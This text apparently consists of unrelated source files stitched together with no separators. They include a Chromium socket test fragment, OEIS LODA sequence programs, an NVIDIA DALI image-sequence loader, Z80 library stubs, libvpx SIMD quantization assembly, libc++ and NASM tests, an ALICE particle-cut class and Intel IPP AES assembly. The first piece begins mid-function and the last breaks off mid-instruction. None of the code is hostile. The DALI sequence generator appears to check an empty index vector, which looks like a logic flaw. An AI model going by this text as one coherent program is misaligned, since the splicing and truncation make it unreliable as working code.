// TODO(ellyjones): This test fails on iOS 7 devices. http://crbug.com/523296 #if defined(OS_IOS) && !TARGET_IPHONE_SIMULATOR if (!base::ios::IsRunningOnIOS8OrLater()) return; #endif base::CancelableSyncSocket socket_a, socket_b; ASSERT_TRUE(base::CancelableSyncSocket::CreatePair(&socket_a, &socket_b)); base::TimeTicks start = base::TimeTicks::Now(); HangingReceiveThread thread(&socket_b); ASSERT_TRUE(socket_b.Shutdown()); thread.Stop(); // Ensure the receive didn't just timeout. ASSERT_LT((base::TimeTicks::Now() - start).InMilliseconds(), kReceiveTimeoutInMilliseconds); ASSERT_TRUE(socket_a.Close()); ASSERT_TRUE(socket_b.Close()); }
; A100832: Amenable numbers: n such that there exists a multiset of integers (s(1), ..., s(n)) whose size, sum and product are all n. ; 1,5,8,9,12,13,16,17,20,21,24,25,28,29,32,33,36,37,40,41,44,45,48,49,52,53,56,57,60,61,64,65,68,69,72,73,76,77,80,81,84,85,88,89,92,93,96,97,100,101,104,105,108,109,112,113,116,117,120,121,124,125,128,129,132 mul $0,2 add $0,1 mov $1,$0 lpb $0,1 add $0,$1 mod $0,4 add $1,$0 lpe
// Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <glob.h> #include <algorithm> #include <map> #include <memory> #include "dali/image/image.h" #include "dali/pipeline/operators/reader/loader/sequence_loader.h" namespace dali { namespace { std::string parent_dir(std::string path) { size_t idx = path.rfind("/"); DALI_ENFORCE(idx != std::string::npos, "NO PARENT DIRECTORY FOR GIVEN PATH"); return path.substr(0, idx + 1); // return with trailing "/" } } // namespace namespace filesystem { std::vector<Stream> GatherExtractedStreams(string file_root) { glob_t glob_buff; std::string glob_pattern = file_root + "/*/*"; const int glob_flags = 0; int glob_ret = glob(glob_pattern.c_str(), glob_flags, nullptr, &glob_buff); DALI_ENFORCE(glob_ret == 0, "Glob for pattern: \"" + glob_pattern + "\" failed. Verify the file_root argument"); std::vector<std::string> files; for (size_t i = 0; i < glob_buff.gl_pathc; i++) { std::string file = glob_buff.gl_pathv[i]; if (HasKnownImageExtension(file)) { files.push_back(std::move(file)); } } globfree(&glob_buff); std::sort(files.begin(), files.end()); std::map<std::string, size_t> streamName_bucket_map; std::vector<Stream> streams; for (const auto &f : files) { auto parent = parent_dir(f); auto bucket = streamName_bucket_map.find(parent); if (bucket == streamName_bucket_map.end()) { streams.push_back({parent, {f}}); streamName_bucket_map[parent] = streams.size() - 1; } else { streams[bucket->second].second.push_back(f); } } return streams; } } // namespace filesystem namespace detail { std::vector<std::vector<std::string>> GenerateSequences( const std::vector<filesystem::Stream> &streams, size_t sequence_length, size_t step, size_t stride, bool pad_sequence) { std::vector<std::vector<std::string>> sequences; for (const auto &s : streams) { std::vector<size_t> seq_indexes; if (sequence_length * stride >= seq_indexes.size()) { if (!pad_sequence) { continue; } else { PaddingSequence(seq_indexes, s.second.size(), sequence_length * stride); } } else { for (size_t i = 0; i < s.second.size(); i++) { seq_indexes.push_back(i); } } for (size_t i = 0; i < s.second.size(); i += step) { std::vector<std::string> sequence; sequence.reserve(sequence_length); // this sequence won't fit if (i + (sequence_length - 1) * stride >= seq_indexes.size()) { break; } // fill the sequence for (size_t seq_elem = 0; seq_elem < sequence_length; seq_elem++) { sequence.push_back(s.second[seq_indexes[i + seq_elem * stride]]); } sequences.push_back((sequence)); } } return sequences; } void PaddingSequence(std::vector<size_t> &seq_indexes, size_t seq_len, size_t num_output) { size_t num_repeat = num_output / seq_len; size_t remainder = num_output % seq_len; for (size_t i = 0; i < seq_len; i++) { seq_indexes.push_back(i); } if (remainder > 0) { size_t step = seq_len / remainder; for (size_t i = step / 2; i < seq_len; i += step) { for (size_t j = 0; j < num_repeat; j++) { seq_indexes.push_back(i); } } } sort(seq_indexes.begin(), seq_indexes.end()); } } // namespace detail void SequenceLoader::PrepareEmpty(TensorSequence *sequence) { sequence->tensors.resize(sequence_length_); for (auto &t : sequence->tensors) { PrepareEmptyTensor(&t); } } void SequenceLoader::ReadSample(TensorSequence *sequence) { // TODO(klecki) this is written as a prototype for video handling const auto &sequence_paths = sequences_[current_sequence_]; // TODO(klecki) we probably should buffer the "stream", or recently used // frames for (int i = 0; i < sequence_length_; i++) { LoadFrame(sequence_paths, i, &sequence->tensors[i]); } current_sequence_++; // wrap-around if (IsNextShard(current_sequence_)) { Reset(); } } Index SequenceLoader::Size() { return total_size_; } void SequenceLoader::LoadFrame(const std::vector<std::string> &s, Index frame_idx, Tensor<CPUBackend> *target) { const auto frame_filename = s[frame_idx]; target->SetSourceInfo(frame_filename); auto frame = FileStream::Open(frame_filename, read_ahead_); Index frame_size = frame->Size(); // ToDo - move to mmap version bellow when more tests are available #if 1 target->Resize({frame_size}); frame->Read(target->mutable_data<uint8_t>(), frame_size); frame->Close(); #else // Release and unmap memory previously obtained by Get call if (copy_read_data_) { target->Resize({frame_size}); frame->Read(target->mutable_data<uint8_t>(), frame_size); } else { auto p = target->Get(frame_size); // Wrap the raw data in the Tensor object. target->ShareData(p, frame_size, {frame_size}); TypeInfo type; type.SetType<uint8_t>(); target->set_type(type); } target->SetSourceInfo(frame_filename); frame->Close(); #endif } } // namespace dali
; int posix_memalign(void **memptr, size_t alignment, size_t size) INCLUDE "config_private.inc" SECTION code_clib SECTION code_alloc_malloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $01 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC posix_memalign EXTERN asm_posix_memalign posix_memalign: pop af pop hl pop bc pop de push de push bc push hl push af jp asm_posix_memalign ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC posix_memalign EXTERN posix_memalign_unlocked defc posix_memalign = posix_memalign_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %define private_prefix vp9 %include "third_party/x86inc/x86inc.asm" SECTION_RODATA pw_1: times 8 dw 1 SECTION .text %macro QUANTIZE_FP 2 cglobal quantize_%1, 0, %2, 15, coeff, ncoeff, skip, zbin, round, quant, \ shift, qcoeff, dqcoeff, dequant, \ eob, scan, iscan cmp dword skipm, 0 jne .blank ; actual quantize loop - setup pointers, rounders, etc. movifnidn coeffq, coeffmp movifnidn ncoeffq, ncoeffmp mov r2, dequantmp movifnidn zbinq, zbinmp movifnidn roundq, roundmp movifnidn quantq, quantmp mova m1, [roundq] ; m1 = round mova m2, [quantq] ; m2 = quant %ifidn %1, fp_32x32 pcmpeqw m5, m5 psrlw m5, 15 paddw m1, m5 psrlw m1, 1 ; m1 = (m1 + 1) / 2 %endif mova m3, [r2q] ; m3 = dequant mov r3, qcoeffmp mov r4, dqcoeffmp mov r5, iscanmp %ifidn %1, fp_32x32 psllw m2, 1 %endif pxor m5, m5 ; m5 = dedicated zero lea coeffq, [ coeffq+ncoeffq*2] lea r5q, [ r5q+ncoeffq*2] lea r3q, [ r3q+ncoeffq*2] lea r4q, [r4q+ncoeffq*2] neg ncoeffq ; get DC and first 15 AC coeffs mova m9, [ coeffq+ncoeffq*2+ 0] ; m9 = c[i] mova m10, [ coeffq+ncoeffq*2+16] ; m10 = c[i] pabsw m6, m9 ; m6 = abs(m9) pabsw m11, m10 ; m11 = abs(m10) pcmpeqw m7, m7 paddsw m6, m1 ; m6 += round punpckhqdq m1, m1 paddsw m11, m1 ; m11 += round pmulhw m8, m6, m2 ; m8 = m6*q>>16 punpckhqdq m2, m2 pmulhw m13, m11, m2 ; m13 = m11*q>>16 psignw m8, m9 ; m8 = reinsert sign psignw m13, m10 ; m13 = reinsert sign mova [r3q+ncoeffq*2+ 0], m8 mova [r3q+ncoeffq*2+16], m13 %ifidn %1, fp_32x32 pabsw m8, m8 pabsw m13, m13 %endif pmullw m8, m3 ; r4[i] = r3[i] * q punpckhqdq m3, m3 pmullw m13, m3 ; r4[i] = r3[i] * q %ifidn %1, fp_32x32 psrlw m8, 1 psrlw m13, 1 psignw m8, m9 psignw m13, m10 psrlw m0, m3, 2 %else psrlw m0, m3, 1 %endif mova [r4q+ncoeffq*2+ 0], m8 mova [r4q+ncoeffq*2+16], m13 pcmpeqw m8, m5 ; m8 = c[i] == 0 pcmpeqw m13, m5 ; m13 = c[i] == 0 mova m6, [ r5q+ncoeffq*2+ 0] ; m6 = scan[i] mova m11, [ r5q+ncoeffq*2+16] ; m11 = scan[i] psubw m6, m7 ; m6 = scan[i] + 1 psubw m11, m7 ; m11 = scan[i] + 1 pandn m8, m6 ; m8 = max(eob) pandn m13, m11 ; m13 = max(eob) pmaxsw m8, m13 add ncoeffq, mmsize jz .accumulate_eob .ac_only_loop: mova m9, [ coeffq+ncoeffq*2+ 0] ; m9 = c[i] mova m10, [ coeffq+ncoeffq*2+16] ; m10 = c[i] pabsw m6, m9 ; m6 = abs(m9) pabsw m11, m10 ; m11 = abs(m10) pcmpgtw m7, m6, m0 pcmpgtw m12, m11, m0 pmovmskb r6d, m7 pmovmskb r2d, m12 or r6, r2 jz .skip_iter pcmpeqw m7, m7 paddsw m6, m1 ; m6 += round paddsw m11, m1 ; m11 += round pmulhw m14, m6, m2 ; m14 = m6*q>>16 pmulhw m13, m11, m2 ; m13 = m11*q>>16 psignw m14, m9 ; m14 = reinsert sign psignw m13, m10 ; m13 = reinsert sign mova [r3q+ncoeffq*2+ 0], m14 mova [r3q+ncoeffq*2+16], m13 %ifidn %1, fp_32x32 pabsw m14, m14 pabsw m13, m13 %endif pmullw m14, m3 ; r4[i] = r3[i] * q pmullw m13, m3 ; r4[i] = r3[i] * q %ifidn %1, fp_32x32 psrlw m14, 1 psrlw m13, 1 psignw m14, m9 psignw m13, m10 %endif mova [r4q+ncoeffq*2+ 0], m14 mova [r4q+ncoeffq*2+16], m13 pcmpeqw m14, m5 ; m14 = c[i] == 0 pcmpeqw m13, m5 ; m13 = c[i] == 0 mova m6, [ r5q+ncoeffq*2+ 0] ; m6 = scan[i] mova m11, [ r5q+ncoeffq*2+16] ; m11 = scan[i] psubw m6, m7 ; m6 = scan[i] + 1 psubw m11, m7 ; m11 = scan[i] + 1 pandn m14, m6 ; m14 = max(eob) pandn m13, m11 ; m13 = max(eob) pmaxsw m8, m14 pmaxsw m8, m13 add ncoeffq, mmsize jl .ac_only_loop jmp .accumulate_eob .skip_iter: mova [r3q+ncoeffq*2+ 0], m5 mova [r3q+ncoeffq*2+16], m5 mova [r4q+ncoeffq*2+ 0], m5 mova [r4q+ncoeffq*2+16], m5 add ncoeffq, mmsize jl .ac_only_loop .accumulate_eob: ; horizontally accumulate/max eobs and write into [eob] memory pointer mov r2, eobmp pshufd m7, m8, 0xe pmaxsw m8, m7 pshuflw m7, m8, 0xe pmaxsw m8, m7 pshuflw m7, m8, 0x1 pmaxsw m8, m7 pextrw r6, m8, 0 mov [r2], r6 RET ; skip-block, i.e. just write all zeroes .blank: mov r0, dqcoeffmp movifnidn ncoeffq, ncoeffmp mov r2, qcoeffmp mov r3, eobmp lea r0q, [r0q+ncoeffq*2] lea r2q, [r2q+ncoeffq*2] neg ncoeffq pxor m7, m7 .blank_loop: mova [r0q+ncoeffq*2+ 0], m7 mova [r0q+ncoeffq*2+16], m7 mova [r2q+ncoeffq*2+ 0], m7 mova [r2q+ncoeffq*2+16], m7 add ncoeffq, mmsize jl .blank_loop mov word [r3q], 0 RET %endmacro INIT_XMM ssse3 QUANTIZE_FP fp, 7 QUANTIZE_FP fp_32x32, 7
; A001564: 2nd differences of factorial numbers. ; Submitted by Jon Maiga ; 1,3,14,78,504,3720,30960,287280,2943360,33022080,402796800,5308934400,75203251200,1139544806400,18394619443200,315149522688000,5711921639424000,109196040425472000,2196014181064704000,46346783255764992000,1024251745442365440000,23655106225501470720000,569868368983247093760000,14296165256603392081920000,372889489441676903055360000,10097797738208471875584000000,283513897172003761815552000000,8242874173966692585701376000000,247874224169323368587722752000000,7701174696547280402407489536000000 mov $2,$0 lpb $0 mov $1,$0 add $1,1 mul $1,$2 add $3,1 lpb $0 mul $1,$0 sub $0,$3 add $1,$0 lpe lpe mov $0,$1 add $0,1
; void adt_ListConcat(struct adt_List *list1, struct sp_List *list2) ; CALLER linkage for function pointers XLIB adt_ListConcat LIB adt_ListConcat_callee XREF ASMDISP_ADT_LISTCONCAT_CALLEE .adt_ListConcat pop bc pop hl pop de push de push hl push bc jp adt_ListConcat_callee + ASMDISP_ADT_LISTCONCAT_CALLEE
;Testname=test; Arguments=-fbin -ofar64.bin; Files=stdout stderr far64.bin ; BR 2039212 bits 64 call qword far [rax] jmp qword far [rax] call dword far [rax] jmp dword far [rax] call far [rax] jmp far [rax]
; A074574: a(n) = 5^n + 7^n + 8^n. ; Submitted by Christian Krause ; 3,20,138,980,7122,52700,395418,2998820,22932642,176524460,1365982698,10616089460,82804904562,647865527420,5082373099578,39962451176900,314860495170882,2485193267125580,19646626804658058,155533156747557140,1232809138336099602,9782394738096262940,77699181529212210138,617676478627741646180,4914007318894987018722,39120298505845003563500,311620425357424432747818,2483571452173389553380020,19802836903281791375416242,157962596931000637184931260,1260480310898647148465503098,10061300352930761083200614660 mov $3,$0 seq $0,74523 ; a(n) = 1^n + 7^n + 8^n. sub $0,1 mov $2,5 pow $2,$3 add $0,$2
; A315178: Coordination sequence Gal.4.62.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,10,14,18,22,28,34,38,42,46,50,56,62,66,70,74,78,84,90,94,98,102,106,112,118,122,126,130,134,140,146,150,154,158,162,168,174,178,182,186,190,196,202,206,210,214,218,224,230 mov $2,$0 lpb $0 sub $0,1 add $1,3 add $4,$1 mov $1,$4 trn $1,6 mov $5,$0 add $5,$0 sub $0,1 trn $0,5 add $0,1 mov $3,$1 mov $4,5 sub $5,8 add $5,$1 lpe add $0,$5 add $0,$3 trn $1,$5 add $1,$0 lpb $2 add $1,4 sub $2,1 lpe add $1,1 mov $0,$1
#pragma once #include <vili/parser/parser_state.hpp> namespace obe::Config::Templates { vili::parser::state getMountTemplates(); }
; A246607: E.g.f.: exp(x - x^3). ; Submitted by Christian Krause ; 1,1,1,-5,-23,-59,241,2311,9745,-30743,-529919,-3161069,6984121,216832045,1696212337,-2117117729,-138721306079,-1359994188719,367573878145,127713732858667,1523067770484361,1104033549399061,-159815269852521359,-2270787199743845705,-3946710127731620303,260707376748043750201,4348124336286966019201,12044209085363625610051,-537005526346016512313255,-10398551521044855443861123,-39738244852990647429945359,1361846178910112449707650191,30373804922625259138080183361,148634821605125425889597571745 mov $2,1 lpb $0 sub $0,1 mov $1,$4 mul $1,$0 mov $4,$2 sub $2,$3 mov $3,$1 mul $3,3 mul $4,$0 lpe mov $0,$2
; A286186: Number of connected induced (non-null) subgraphs of the friendship graph with 2n+1 nodes. ; 7,22,73,268,1039,4114,16405,65560,262171,1048606,4194337,16777252,67108903,268435498,1073741869,4294967344,17179869235,68719476790,274877907001,1099511627836,4398046511167,17592186044482,70368744177733,281474976710728,1125899906842699,4503599627370574,18014398509482065,72057594037928020,288230376151711831,1152921504606847066,4611686018427387997,18446744073709551712,73786976294838206563,295147905179352825958,1180591620717411303529,4722366482869645213804,18889465931478580854895,75557863725914323419250,302231454903657293676661,1208925819614629174706296,4835703278458516698824827,19342813113834066795298942,77371252455336267181195393,309485009821345068724781188,1237940039285380274899124359,4951760157141521099596497034,19807040628566084398385987725,79228162514264337593543950480,316912650057057350374175801491,1267650600228229401496703205526,5070602400912917605986812821657,20282409603651670423947251286172,81129638414606681695789005144223,324518553658426726783156020576418,1298074214633706907132624082305189,5192296858534827628530496329220264,20769187434139310514121985316880555,83076749736557242056487941267521710,332306998946228968225951765070086321 mov $2,1 lpb $0 sub $0,1 add $1,1 mul $2,4 add $1,$2 lpe mul $1,3 add $1,7 mov $0,$1
/**************************************************************************** * * Copyright 2018 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, * either express or implied. See the License for the specific * language governing permissions and limitations under the License. * ****************************************************************************/ //===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // <string> // template<> struct char_traits<char> // static constexpr bool lt(char_type c1, char_type c2); #include <string> #include <cassert> #include "libcxx_tc_common.h" int tc_libcxx_strings_char_traits_specializations_char_lt(void) { TC_ASSERT_EXPR( std::char_traits<char>::lt('\0', 'A')); TC_ASSERT_EXPR(!std::char_traits<char>::lt('A', '\0')); TC_ASSERT_EXPR(!std::char_traits<char>::lt('a', 'a')); TC_ASSERT_EXPR( std::char_traits<char>::lt('A', 'a')); TC_ASSERT_EXPR(!std::char_traits<char>::lt('a', 'A')); TC_ASSERT_EXPR( std::char_traits<char>::lt('a', 'z')); TC_ASSERT_EXPR( std::char_traits<char>::lt('A', 'Z')); TC_ASSERT_EXPR( std::char_traits<char>::lt(' ', 'A')); TC_ASSERT_EXPR( std::char_traits<char>::lt('A', '~')); TC_SUCCESS_RESULT(); return 0; }
/************************************************************************** * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. * * * * Author: The ALICE Off-line Project. * * Contributors are mentioned in the code where appropriate. * * * * Permission to use, copy, modify and distribute this software and its * * documentation strictly for non-commercial purposes is hereby granted * * without fee, provided that the above copyright notice appears in all * * copies and that both the copyright notice and this permission notice * * appear in the supporting documentation. The authors make no claims * * about the suitability of this software for any purpose. It is * * provided "as is" without express or implied warranty. * **************************************************************************/ #include <TObject.h> #include <TMath.h> #include <TParticle.h> #include "AliKineTrackCuts.h" //____________________________________________________________________ ClassImp(AliKineTrackCuts) //____________________________________________________________________ AliKineTrackCuts::AliKineTrackCuts(const Char_t* name, const Char_t* title) : AliAnalysisCuts(name,title), fOnlyFinalParticles(kFALSE), fOnlyPrimary(kFALSE), fPMin(0), fPMax(0), fPtMin(0), fPtMax(0), fPxMin(0), fPxMax(0), fPyMin(0), fPyMax(0), fPzMin(0), fPzMax(0), fEtaMin(0), fEtaMax(0), fRapMin(0), fRapMax(0) { // // constructor // // setting default cuts SetPRange(); SetPtRange(); SetPxRange(); SetPyRange(); SetPzRange(); SetEtaRange(); SetRapRange(); } //____________________________________________________________________ Bool_t AliKineTrackCuts::IsSelected(TObject* obj) { TParticle * part = (TParticle *)obj; // only final particles if( fOnlyFinalParticles && part->GetStatusCode() !=1 ) return kFALSE; if( fOnlyPrimary && part->IsPrimary() !=1 ) return kFALSE; // getting the kinematic variables of the track Float_t momentum = part->P(); Float_t pt = part->Pt(); Float_t energy = part->Energy(); //y-eta related calculations Float_t eta = part->Eta(); Float_t y = -100.; if((energy != TMath::Abs(part->Pz()))&&(momentum != 0)) y = 0.5*TMath::Log((energy + part->Pz())/(energy - part->Pz())); if((momentum < fPMin) || (momentum > fPMax)) return kFALSE; if((pt < fPtMin) || (pt > fPtMax)) return kFALSE; if((part->Px() < fPxMin) || (part->Px() > fPxMax)) return kFALSE; if((part->Py() < fPyMin) || (part->Py() > fPyMax)) return kFALSE; if((part->Pz() < fPzMin) || (part->Pz() > fPzMax)) return kFALSE; if((eta < fEtaMin) || (eta > fEtaMax)) return kFALSE; if((y < fRapMin) || (y > fRapMax)) return kFALSE; return kTRUE; }
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 5, 0x90 ENCODE_DATA: TransFwdLO: .byte 0x0 .byte 0x1 .byte 0x2E .byte 0x2F .byte 0x49 .byte 0x48 .byte 0x67 .byte 0x66 .byte 0x43 .byte 0x42 .byte 0x6D .byte 0x6C .byte 0xA .byte 0xB .byte 0x24 .byte 0x25 TransFwdHI: .byte 0x0 .byte 0x35 .byte 0xD0 .byte 0xE5 .byte 0x3D .byte 0x8 .byte 0xED .byte 0xD8 .byte 0xE9 .byte 0xDC .byte 0x39 .byte 0xC .byte 0xD4 .byte 0xE1 .byte 0x4 .byte 0x31 TransInvLO: .byte 0x0 .byte 0x1 .byte 0x5C .byte 0x5D .byte 0xE0 .byte 0xE1 .byte 0xBC .byte 0xBD .byte 0x50 .byte 0x51 .byte 0xC .byte 0xD .byte 0xB0 .byte 0xB1 .byte 0xEC .byte 0xED TransInvHI: .byte 0x0 .byte 0x1F .byte 0xEE .byte 0xF1 .byte 0x55 .byte 0x4A .byte 0xBB .byte 0xA4 .byte 0x6A .byte 0x75 .byte 0x84 .byte 0x9B .byte 0x3F .byte 0x20 .byte 0xD1 .byte 0xCE GF16_csize: .byte 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF GF16_logTbl: .byte 0xC0, 0x0, 0x1, 0x4, 0x2, 0x8, 0x5, 0xA, 0x3, 0xE, 0x9, 0x7, 0x6, 0xD, 0xB, 0xC GF16_expTbl: .byte 0x1, 0x2, 0x4, 0x8, 0x3, 0x6, 0xC, 0xB, 0x5, 0xA, 0x7, 0xE, 0xF, 0xD, 0x9, 0x1 GF16_sqr1: .byte 0x0, 0x9, 0x2, 0xB, 0x8, 0x1, 0xA, 0x3, 0x6, 0xF, 0x4, 0xD, 0xE, 0x7, 0xC, 0x5 GF16_invLog: .byte 0xC0, 0x0, 0xE, 0xB, 0xD, 0x7, 0xA, 0x5, 0xC, 0x1, 0x6, 0x8, 0x9, 0x2, 0x4, 0x3 GF16_expTbl_shift: .byte 0x10, 0x20, 0x40, 0x80, 0x30, 0x60, 0xC0, 0xB0, 0x50, 0xA0, 0x70, 0xE0, 0xF0, 0xD0, 0x90, 0x10 FwdAffineLO: .byte 0x0 .byte 0x10 .byte 0x22 .byte 0x32 .byte 0x55 .byte 0x45 .byte 0x77 .byte 0x67 .byte 0x82 .byte 0x92 .byte 0xA0 .byte 0xB0 .byte 0xD7 .byte 0xC7 .byte 0xF5 .byte 0xE5 FwdAffineHI: .byte 0x0 .byte 0x41 .byte 0x34 .byte 0x75 .byte 0x40 .byte 0x1 .byte 0x74 .byte 0x35 .byte 0x2A .byte 0x6B .byte 0x1E .byte 0x5F .byte 0x6A .byte 0x2B .byte 0x5E .byte 0x1F FwdAffineCnt: .quad 0xC2C2C2C2C2C2C2C2, 0xC2C2C2C2C2C2C2C2 FwdShiftRows: .byte 0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11 GF16mul_E_2x: .byte 0x0, 0x2E, 0x4F, 0x61, 0x8D, 0xA3, 0xC2, 0xEC, 0x39, 0x17, 0x76, 0x58, 0xB4, 0x9A, 0xFB, 0xD5 GF16mul_1_Cx: .byte 0x0, 0xC1, 0xB2, 0x73, 0x54, 0x95, 0xE6, 0x27, 0xA8, 0x69, 0x1A, 0xDB, 0xFC, 0x3D, 0x4E, 0x8F ColumnROR: .byte 1,2,3,0,5,6,7,4,9,10,11,8,13,14,15,12 .p2align 5, 0x90 .globl _g9_SafeEncrypt_RIJ128 _g9_SafeEncrypt_RIJ128: push %ebp mov %esp, %ebp push %esi push %edi movl (8)(%ebp), %esi movl (12)(%ebp), %edi movl (20)(%ebp), %edx movl (16)(%ebp), %ecx call .L__0000gas_1 .L__0000gas_1: pop %eax sub $(.L__0000gas_1-ENCODE_DATA), %eax movdqu (%esi), %xmm1 movdqa ((GF16_csize-ENCODE_DATA))(%eax), %xmm7 movdqa ((TransFwdLO-ENCODE_DATA))(%eax), %xmm0 movdqa ((TransFwdHI-ENCODE_DATA))(%eax), %xmm2 movdqa %xmm1, %xmm3 psrlw $(4), %xmm1 pand %xmm7, %xmm3 pand %xmm7, %xmm1 pshufb %xmm3, %xmm0 pshufb %xmm1, %xmm2 pxor %xmm2, %xmm0 pxor (%edx), %xmm0 add $(16), %edx sub $(1), %ecx .Lencode_roundgas_1: movdqa %xmm0, %xmm1 pand %xmm7, %xmm0 psrlw $(4), %xmm1 pand %xmm7, %xmm1 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm0, %xmm5 pxor %xmm1, %xmm0 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm2 pshufb %xmm0, %xmm2 movdqa ((GF16_sqr1-ENCODE_DATA))(%eax), %xmm4 pshufb %xmm1, %xmm4 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm3 pshufb %xmm1, %xmm3 paddb %xmm2, %xmm5 movdqa %xmm5, %xmm0 pcmpgtb %xmm7, %xmm5 psubb %xmm5, %xmm0 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm0, %xmm5 pxor %xmm5, %xmm4 movdqa ((GF16_invLog-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm4, %xmm5 paddb %xmm5, %xmm2 paddb %xmm5, %xmm3 movdqa %xmm2, %xmm5 pcmpgtb %xmm7, %xmm2 psubb %xmm2, %xmm5 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm0 pshufb %xmm5, %xmm0 movdqa %xmm3, %xmm5 pcmpgtb %xmm7, %xmm3 psubb %xmm3, %xmm5 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm1 pshufb %xmm5, %xmm1 movdqa ((FwdAffineLO-ENCODE_DATA))(%eax), %xmm3 movdqa ((FwdAffineHI-ENCODE_DATA))(%eax), %xmm2 movdqa ((FwdAffineCnt-ENCODE_DATA))(%eax), %xmm4 pshufb %xmm0, %xmm3 pshufb %xmm1, %xmm2 pxor %xmm4, %xmm3 pxor %xmm2, %xmm3 pshufb ((FwdShiftRows-ENCODE_DATA))(%eax), %xmm3 movdqa %xmm3, %xmm1 movdqa %xmm3, %xmm2 pxor %xmm4, %xmm4 psrlw $(4), %xmm2 pand %xmm7, %xmm1 movdqa ((GF16mul_E_2x-ENCODE_DATA))(%eax), %xmm0 pshufb %xmm1, %xmm0 pand %xmm7, %xmm2 movdqa ((GF16mul_1_Cx-ENCODE_DATA))(%eax), %xmm1 pshufb %xmm2, %xmm1 pxor %xmm1, %xmm0 pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3 pxor %xmm3, %xmm4 pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3 pxor %xmm3, %xmm4 movdqa %xmm0, %xmm2 pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm2 pxor %xmm2, %xmm0 pshufb ((ColumnROR-ENCODE_DATA))(%eax), %xmm3 pxor %xmm3, %xmm4 pxor %xmm4, %xmm0 pxor (%edx), %xmm0 add $(16), %edx sub $(1), %ecx jg .Lencode_roundgas_1 movdqa %xmm0, %xmm1 pand %xmm7, %xmm0 psrlw $(4), %xmm1 pand %xmm7, %xmm1 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm0, %xmm5 pxor %xmm1, %xmm0 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm2 pshufb %xmm0, %xmm2 movdqa ((GF16_sqr1-ENCODE_DATA))(%eax), %xmm4 pshufb %xmm1, %xmm4 movdqa ((GF16_logTbl-ENCODE_DATA))(%eax), %xmm3 pshufb %xmm1, %xmm3 paddb %xmm2, %xmm5 movdqa %xmm5, %xmm0 pcmpgtb %xmm7, %xmm5 psubb %xmm5, %xmm0 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm0, %xmm5 pxor %xmm5, %xmm4 movdqa ((GF16_invLog-ENCODE_DATA))(%eax), %xmm5 pshufb %xmm4, %xmm5 paddb %xmm5, %xmm2 paddb %xmm5, %xmm3 movdqa %xmm2, %xmm5 pcmpgtb %xmm7, %xmm2 psubb %xmm2, %xmm5 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), 